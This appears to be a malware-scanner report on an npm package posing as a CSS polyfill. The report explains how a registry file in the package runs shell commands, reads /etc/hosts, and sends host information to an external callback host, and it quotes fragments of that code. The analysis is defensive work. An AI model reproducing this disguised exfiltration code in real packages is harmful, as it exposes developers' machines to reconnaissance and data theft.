registry / Data exfiltration / css-svqggc-polyfill
css-svqggc-polyfill
CSS polyfill utility
This report shows the evidence for css-svqggc-polyfill@1.0.0, the only known version.
AI Security Review
scanned 18d ago · by lpm-firewall-aiInspected source proves automatic reconnaissance and external data export when the registry payload loads. This is concrete malicious behavior unrelated to a CSS polyfill, despite the absence of install hooks.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Loading thunderboltRegistry.js directly or through a consumer of the registry manifest.
Impact
Exposes host identity, operating system and network information, and /etc/hosts contents without a consent gate.
Mechanism
An immediately invoked function runs shell commands through child_process.execSync and sends collected output and hostname through fetch.
Attack narrative
When the advertised registry file loads in a Node environment, its top-level function collects host information through shell commands and sends the results to dxpoc.gt.tc. It also sends runtime metadata and removes matching module-cache entries. The empty main entrypoint limits activation through ordinary imports but does not neutralize the executable registry payload.
AI rationale
Inspected source proves automatic reconnaissance and external data export when the registry payload loads. This is concrete malicious behavior unrelated to a CSS polyfill, despite the absence of install hooks.
Evidence
thunderboltRegistry.jsregistry-manifest.min.json/etc/hosts
Network endpoints2
dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1fstatic.parastorage.com/unpkg/css-svqggc-polyfill@1.0.0/thunderboltRegistry.js
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- thunderboltRegistry.js sends collected data and the hostname to a fixed external callback using fetch.
- Loading thunderboltRegistry.js immediately runs identity commands and sends their output.
- The same code reads /etc/hosts and sends up to 2,000 characters of its contents.
- The callback destination is dxpoc.gt.tc, unrelated to CSS polyfill functionality.
- registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js payload.
- The payload deletes matching require.cache entries, allowing execution again on subsequent loads.
Evidence against
- package.json has no install lifecycle hooks, and index.js only exports an empty object; ordinary main-entry import does not activate the payload.
Behavioral surface
ChildProcessNetworkShell
UrlStrings
Source & flagged code
9 flagged · loading sourcethunderboltRegistry.jsView file
10L11: var wh = "http://dxpoc.gt.tc/callback.[redacted]";
L12: var site = "unknown";
L13: try { site = require("os").hostname(); } catch(e) {}
L14: var exfil = function(params) {
...
L18: var cp = null;
L19: try { cp = require("child_process"); } catch(e) {}
L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
thunderboltRegistry.jsView on unpkg · L10•matchType = normalized_sha256
matchedPackage = css-reading-flow-polyfill@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:[redacted]:1.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
thunderboltRegistry.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = e9cbfffc3017b8e0
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = css-reading-flow-polyfill@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:[redacted]:1.0.0
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
Findings
9 High1 Medium1 Low
HighSandbox Evasion Gated CapabilitythunderboltRegistry.js
HighKnown Malware Source SimilaritythunderboltRegistry.js
HighKnown Malware Source Fingerprint SignaturethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review Evidenceregistry-manifest.min.json
HighAi Review EvidencethunderboltRegistry.js
MediumNetwork
LowUrl Strings
Affected versions and remediation
This report applies to css-svqggc-polyfill@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing css-svqggc-polyfill@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.